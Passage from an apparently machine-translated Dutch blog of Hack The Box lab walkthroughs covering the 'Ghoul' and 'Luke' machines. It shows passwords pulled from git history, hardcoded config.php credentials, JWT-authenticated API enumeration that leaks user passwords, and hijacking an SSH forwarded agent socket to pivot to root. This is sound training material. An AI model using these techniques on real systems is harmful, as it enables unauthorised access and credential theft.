root@kali:~/Desktop/HTB/boxes/ghoul# mkdir aogiri-app root@kali:~/Desktop/HTB/boxes/ghoul# cd aogiri-app/ root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app# cp ../aogiri-app.7z . root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app# 7za x ./aogiri-app.7z 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on) Scanning the drive for archives: 1 file, 117507 bytes (115 KiB) Extracting archive: ./aogiri-app.7z -- Path = ./aogiri-app.7z Type = 7z Physical Size = 117507 Headers Size = 4011 Method = LZMA2:192k Solid = + Blocks = 1 Everything is Ok Folders: 114 Files: 125 Size: 154976 Compressed: 117507 root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app# ls -la total 128 drwxr-xr-x 3 root root 4096 Oct 4 17:00 . drwxr-xr-x 4 root root 4096 Oct 4 16:59 .. -rw-r--r-- 1 root root 117507 Oct 4 17:00 aogiri-app.7z drwxr-xr-x 5 root root 4096 Dec 29 2018 aogiri-chatapp root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app#

Door naar de uitgepakte bestanden te kijken zullen we zien dat het een git repository is:

root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app/aogiri-chatapp# ls -la total 52 drwxr-xr-x 5 root root 4096 Dec 29 2018 . drwxr-xr-x 3 root root 4096 Oct 4 17:00 .. drwxr-xr-x 8 root root 4096 Dec 29 2018 .git -rw-r--r-- 1 root root 268 Dec 29 2018 .gitignore drwxr-xr-x 3 root root 4096 Dec 29 2018 .mvn -rwxr-xr-x 1 root root 9113 Dec 29 2018 mvnw -rw-r--r-- 1 root root 5810 Dec 29 2018 mvnw.cmd -rw-r--r-- 1 root root 2111 Dec 29 2018 pom.xml -rw-r--r-- 1 root root 124 Dec 29 2018 README.md drwxr-xr-x 4 root root 4096 Dec 29 2018 src root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app/aogiri-chatapp#

En eerlijk gezegd was dit een heel groot konijnenhol, ik bleef lange tijd door de applicatiecode zoeken (het was nutteloos en ik kon er niets van krijgen) terwijl het eigenlijk over de gitrepository zelf ging.
Laten we de aanvinken reflogom de commits te krijgen:

root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app/aogiri-chatapp# git reflog 647c5f1 (HEAD -> master, origin/master) HEAD@{0}: commit: changed service b43757d HEAD@{1}: commit: added mysql deps b3752e0 HEAD@{2}: reset: moving to b3752e0 0d426b5 HEAD@{3}: reset: moving to 0d426b5 e29ad43 HEAD@{4}: reset: moving to HEAD^ 0d426b5 HEAD@{5}: reset: moving to HEAD 0d426b5 HEAD@{6}: reset: moving to origin/master 0d426b5 HEAD@{7}: commit: update dependencies e29ad43 HEAD@{8}: commit: added service b3752e0 HEAD@{9}: commit: noro stop doing stupid shit 813e0a5 HEAD@{10}: commit: hello world! ed5a88c HEAD@{11}: commit: mysql support 51d2c36 HEAD@{12}: commit: added readme bec96aa HEAD@{13}: commit: updated dependencies 8b74520 HEAD@{14}: commit (initial): update readme

Ik controleerde elke commit en in een van de commits ( 0d426b5) vond ik enkele wachtwoorden:

root@kali:~/Desktop/HTB/boxes/ghoul/aogiri-app/aogiri-chatapp# git show 0d426b5 commit 0d426b533d4f1877f8a114620be8a1294f34ab71 Author: kaneki <kaneki@aogiri.htb> Date: Sat Dec 29 11:44:50 2018 +0530 update dependencies diff --git a/pom.xml b/pom.xml index 92f24ee..fc1d313 100644 --- a/pom.xml +++ b/pom.xml @@ -48,6 +48,11 @@ <artifactId>javax.json</artifactId> <version>1.0</version> </dependency> + <dependency> + <groupId>mysql</groupId> + <artifactId>mysql-connector-java</artifactId> + <version>5.1.46</version> + </dependency> </dependencies> diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 4cbc10b..41adeb0 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,7 +1,7 @@ server.port=8080 spring.datasource.url=jdbc:mysql://localhost:3306/db -spring.datasource.username=kaneki -spring.datasource.password=7^Grc%C\7xEQ?tb4 +spring.datasource.username=root +spring.datasource.password=g_xEN$ZuWD7hJf2G server.address=0.0.0.0 spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5InnoDBDialect

De enige host die nog niet is geroot, is kaneki-pcdus ik heb de 2 wachtwoorden geprobeerd en 7^Grc%C\7xEQ?tb4gewerkt, maar nog steeds geen vlag:

kaneki_pub@kaneki-pc:~$ su Password: root@kaneki-pc:/home/kaneki_pub# cd /root/ root@kaneki-pc:~# cat root.txt You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet..... root@kaneki-pc:~#

Kaping van de SSH Forward Agent, Root Flag

Bij het controleren van de /tmpmap zag ik enkele mappen met de naam ssh-RandomString:

root@kaneki-pc:~# cd /tmp/ root@kaneki-pc:/tmp# ls -la total 28 drwxrwxrwt 1 root root 4096 Oct 4 15:06 . drwxr-xr-x 1 root root 4096 Oct 4 14:45 .. drwx------ 1 root root 4096 Dec 16 2018 ssh-1Oo5P5JuouKm drwx------ 1 kaneki_adm kaneki_adm 4096 Dec 16 2018 ssh-FWSgs7xBNwzU drwx------ 1 kaneki_pub kaneki 4096 Dec 16 2018 ssh-jDhFSu7EeAnz -rw------- 1 root root 400 Oct 4 14:45 sshd-stderr---supervisor-E5awkI.log -rw------- 1 root root 0 Oct 4 14:45 sshd-stdout---supervisor-3bRi58.log root@kaneki-pc:/tmp#

En door de processen te controleren, ontdekte ik dat er een periodieke ssh-opdracht als root is voor 172.18.0.1:

root@kaneki-pc:/tmp# ps aux | grep ssh root 10 0.0 0.1 72296 6116 pts/0 S 14:45 0:00 /usr/sbin/sshd -D root 15 0.0 0.1 74656 6536 ? Ss 14:48 0:00 sshd: kaneki_pub [priv] kaneki_+ 17 0.0 0.0 74792 4008 ? S 14:48 0:00 sshd: kaneki_pub@pts/2 root 101 0.1 0.1 74656 6572 ? Ss 15:12 0:00 sshd: kaneki_adm [priv] kaneki_+ 103 0.0 0.0 74656 3192 ? S 15:12 0:00 sshd: kaneki_adm@pts/1 kaneki_+ 104 0.1 0.1 45188 5400 pts/1 Ss+ 15:12 0:00 ssh root@172.18.0.1 -p 2222 -t ./log.sh root 106 0.0 0.0 13212 1020 pts/2 S+ 15:12 0:00 grep --color=auto ssh root@kaneki-pc:/tmp#

Na een tijdje zoeken vond ik dit artikel dat het heel goed verklaart. Ik heb de /tmpmap opgeschoond :

root@kaneki-pc:/tmp# rm -rf ssh-* 
root@kaneki-pc:/tmp# ls -la 
total 16 drwxrwxrwt 1 root root 4096 Oct 4 15:13 . drwxr-xr-x 1 root root 4096 Oct 4 14:45 .. -rw------- 1 root root 400 Oct 4 14:45 sshd-stderr---supervisor-E5awkI.log -rw------- 1 root root 0 Oct 4 14:45 sshd-stdout---supervisor-3bRi58.log root@kaneki-pc:/tmp#

Toen wachtte ik tot het SSH-commando opnieuw werd uitgevoerd. Na enkele minuten werd de agent gemaakt:

root@kaneki-pc:/tmp# ls -la total 20 drwxrwxrwt 1 root root 4096 Oct 4 15:30 . drwxr-xr-x 1 root root 4096 Oct 4 14:45 .. drwx------ 2 kaneki_adm kaneki_adm 4096 Oct 4 15:30 ssh-X2sLvGoeXy -rw------- 1 root root 400 Oct 4 14:45 sshd-stderr---supervisor-E5awkI.log -rw------- 1 root root 0 Oct 4 14:45 sshd-stdout---supervisor-3bRi58.log root@kaneki-pc:/tmp# ls -la ssh-X2sLvGoeXy/ total 12 drwx------ 2 kaneki_adm kaneki_adm 4096 Oct 4 15:30 . drwxrwxrwt 1 root root 4096 Oct 4 15:30 .. srwxr-xr-x 1 kaneki_adm kaneki_adm 0 Oct 4 15:30 agent.490 root@kaneki-pc:/tmp#

Ik heb het snel gekaapt:

root@kaneki-pc:/tmp# watch 'ls -la'

[4]+ Stopped watch 'ls -la'
root@kaneki-pc:/tmp# ls -la
total 20
drwxrwxrwt 1 root root 4096 Dec 6 11:12 .
drwxr-xr-x 1 root root 4096 Dec 5 13:07 ..
drwx------ 2 kaneki_adm kaneki_adm 4096 Dec 6 11:12 ssh-yoNRDZJDJw
-rw------- 1 root root 400 Dec 5 13:07 sshd-stderr---supervisor-gfPbWX.log
-rw------- 1 root root 0 Dec 5 13:07 sshd-stdout---supervisor-jvsZJD.log
root@kaneki-pc:/tmp# cd ssh-yoNRDZJDJw/
root@kaneki-pc:/tmp/ssh-yoNRDZJDJw# ls -la
total 12
drwx------ 2 kaneki_adm kaneki_adm 4096 Dec 6 11:12 .
drwxrwxrwt 1 root root 4096 Dec 6 11:12 ..
srwxr-xr-x 1 kaneki_adm kaneki_adm 0 Dec 6 11:12 agent.1795
root@kaneki-pc:/tmp/ssh-yoNRDZJDJw# SSH_AUTH_SOCK=agent.1795 ssh root@172.18.0.1 -p 2222
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-45-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

155 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Dec 6 03:12:02 2019 from 172.18.0.200
root@Aogiri:~# cat /root/root.txt
7c0***72f

En we hebben root!

gebruikte referenties :

https://0xrick.github.io/hack-the-box/ghoul/

.

 

HTB – Luke

Mijn beschrijving / walkthrough voor Luke van Hack The Box.

Korte samenvatting

Hallo, Luke is met pensioen en hier is mijn artikel over hem. Het was een eenvoudige machine, het enige wat je hoeft te doen is goed opsommen en je zult vinden wat je nodig hebt. Het is een FreeBSD-box en zijn IP is 10.10.10.137 , ik heb het toegevoegd aan /etc/hosts als luke.htb . Laten we er meteen in springen!


nmap

Zoals altijd zullen we beginnen met nmap om te scannen op open poorten en services:

root@kali:~/htb/luke# nmap -sV -sT -sC luke.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 05:14 EST
Nmap scan report for luke.htb (10.10.10.137)
Host is up (0.088s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to 10.10.16.70
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.54 seconds

We hebben ftp op poort 21, http op poorten 80, 3000, 8000 en ssh . Uit de http-title we zien dat er op poort 3000 een node.js applicatie is en Ajenti Administration Panel op poort 8000. Laten we eerst even kijken naar ftp voordat we de webservices controleren.


FTP

Anonieme login was toegestaan, er was maar één map genaamd webapp die een tekstbestand had met de naam for_Chihiro.txt :

root@kali:~/htb/luke# ftp luke.htb
Connected to luke.htb.
220 vsFTPd 3.0.3+ (ext.1) ready...
Name (luke.htb:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp
226 Directory send OK.
ftp> cd webapp
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x 1 0 0 306 Apr 14 2019 for_Chihiro.txt
226 Directory send OK.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (5.1197 MB/s)

for_Chihiro.txt :

Dear Chihiro !! As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created . Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! Derry

Uit deze notitie halen we twee potentiële gebruikersnamen: Chihiro en Derry .
Nu we ook weten dat we ergens een aantal bronbestanden kunnen vinden, laten we eens kijken naar de webservices.


Webtelling, gebruikers- en rootvlaggen

Op poort 80 was er deze eenvoudige website:

Niets was echt interessant, dus ik heb mappen en pagina’s bruteforced met wfuzz :

root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://luke.htb/FUZZ
Total requests: 4614

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000001: 200 108 L 240 W 3138 Ch "" 
000000011: 403 9 L 24 W 213 Ch ".hta" 
000000012: 403 9 L 24 W 218 Ch ".htaccess" 
000000013: 403 9 L 24 W 218 Ch ".htpasswd" 
000001114: 301 7 L 20 W 228 Ch "css" 
000002020: 200 108 L 240 W 3138 Ch "index.html" 
000002179: 301 7 L 20 W 227 Ch "js" 
000002282: 200 21 L 172 W 1093 Ch "LICENSE" 
000002435: 401 12 L 46 W 381 Ch "management" 
000002485: 301 7 L 20 W 231 Ch "member" 
000004286: 301 7 L 20 W 231 Ch "vendor"

Total time: 30.23714
Processed Requests: 4614
Filtered Requests: 4603
Requests/sec.: 152.5937
root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb/FUZZ.php -w /usr/share/wordlists/dirb/common.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://luke.htb/FUZZ.php
Total requests: 4614

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000011: 403 9 L 24 W 217 Ch ".hta" 
000000012: 403 9 L 24 W 222 Ch ".htaccess" 
000000013: 403 9 L 24 W 222 Ch ".htpasswd" 
000000994: 200 6 L 25 W 202 Ch "config" 
000002347: 200 39 L 118 W 1593 Ch "login"

Total time: 30.77603
Processed Requests: 4614
Filtered Requests: 4609
Requests/sec.: 149.9218

We hebben /management , /member , /login.php en /config.php . Ik heb eerst config.php gecontroleerd:

$dbHost = 'localhost' ; $dbUsername = 'root' ; $dbPassword = 'Zk6heYCyv6ZE9Xcg' ; $db = "login" ; $conn = new mysqli ( $dbHost , $dbUsername , $dbPassword , $db ) or die ( "Connect failed: %s \n " . $conn -> error );

Geweldig, we hebben database-inloggegevens, ik heb geprobeerd metssh , maar het werkte niet.
/login.php :

Ook de referenties werkten hier niet.
/management :

Het maakt gebruik van http basisverificatie. Ik heb geprobeerd in te loggen, maar de referenties werkten niet.
/member was gewoon leeg:

Op poort 8000 is er Ajenti :

Ajenti: een hulpmiddel voor beheerders voor een meer geciviliseerde leeftijd, waarmee u op elk gewenst moment een snelle en veilige manier hebt om een ​​externe Linux-box te beheren met behulp van alledaagse hulpmiddelen zoals een webterminal, teksteditor, bestandsbeheer en andere. – ajenti.org

Ajenti biedt een terminal, dus als we Ajenti kunnen bereiken, hebben we een shell. De referenties werkten hier echter ook niet:


Het enige dat nog over is, is de toepassing node.js , die JWT tokens gebruikt voor authenticatie:

root@kali:~/htb/luke# curl http://luke.htb:3000/
{"success":false,"message":"Auth token is not supplied"}

Ik heb de applicatie gefuzzed om te verifiëren dat het eindpunt /login bestaat:

root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb:3000/FUZZ -w /usr/share/wordlists/dirb/common.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://luke.htb:3000/FUZZ
Total requests: 4614

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000001: 200 0 L 5 W 56 Ch "" 
000002347: 200 0 L 2 W 13 Ch "login" 
000002348: 200 0 L 2 W 13 Ch "Login" 
000004245: 200 0 L 5 W 56 Ch "users"

Total time: 30.93962
Processed Requests: 4614
Filtered Requests: 4610
Requests/sec.: 149.1291

/login bestaat en er is ook een ander eindpunt genaamd /users dat ook zonder authenticatie niet toegankelijk is:

root@kali:~/htb/luke# curl http://luke.htb:3000/users
{"success":false,"message":"Auth token is not supplied"}

Ik heb geprobeerd in te loggen met de inloggegevens, maar het is mislukt:

root@kali:~/htb/luke# curl --header "Content-Type: application/json" --request POST --data '{"password":"Zk6heYCyv6ZE9Xcg","username":"root"}' http://luke.htb:3000/login
Forbidden

Dus ik probeerde dezelfde gebruikersnaam uit het artikel ( admin ) in plaats van root en het werkte:

root@kali:~/htb/luke# curl --header "Content-Type: application/json" --request POST --data '{"password":"Zk6heYCyv6ZE9Xcg","username":"admin"}' http://luke.htb:3000/login ;echo
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw"}

Nu hebben we toegang tot de applicatie met ons token:

root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/
{"message":"Welcome admin ! "}

/users een lijst met deze gebruikers geretourneerd:

root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 181 100 181 0 0 1124 0 --:--:-- --:--:-- --:--:-- 1131
[
{
"ID": "1",
"name": "Admin",
"Role": "Superuser"
},
{
"ID": "2",
"name": "Derry",
"Role": "Web Admin"
},
{
"ID": "3",
"name": "Yuri",
"Role": "Beta Tester"
},
{
"ID": "4",
"name": "Dory",
"Role": "Supporter"
}
]

Na verschillende dingen geprobeerd te hebben, onthulde /users/username meer informatie over elke gebruiker:

root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/admin | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45 100 45 0 0 286 0 --:--:-- --:--:-- --:--:-- 294
{
"name": "Admin",
"password": "WX5b7)>/rp$U)FW"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/derry | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 46 100 46 0 0 289 0 --:--:-- --:--:-- --:--:-- 289
{
"name": "Derry",
"password": "rZ86wwLvx7jUxtch"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/yuri | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 41 100 41 0 0 257 0 --:--:-- --:--:-- --:--:-- 259
{
"name": "Yuri",
"password": "bet@tester87"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/dory | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 44 100 44 0 0 291 0 --:--:-- --:--:-- --:--:-- 291
{
"name": "Dory",
"password": "5y:!xa=ybfe)/QD"
}

.

Nadat ik deze referenties overal had geprobeerd, kon ik inloggen /management als Derry :

Dit zijn de bronbestanden waar Derry het over had in de notitie die we van de ftp server kregen. In config.json vond ik wat dingen gerelateerd aan Ajenti en ik vond het wachtwoord KpMasng6S5EtTy9Z voor de root van de gebruiker:

Nu kunnen we een terminal als root starten en de vlaggen krijgen:

En we bezitten root.

gebruikte referenties :

https://0xrick.github.io/hack-the-box/luke/  

Auteur : Jacco Straathof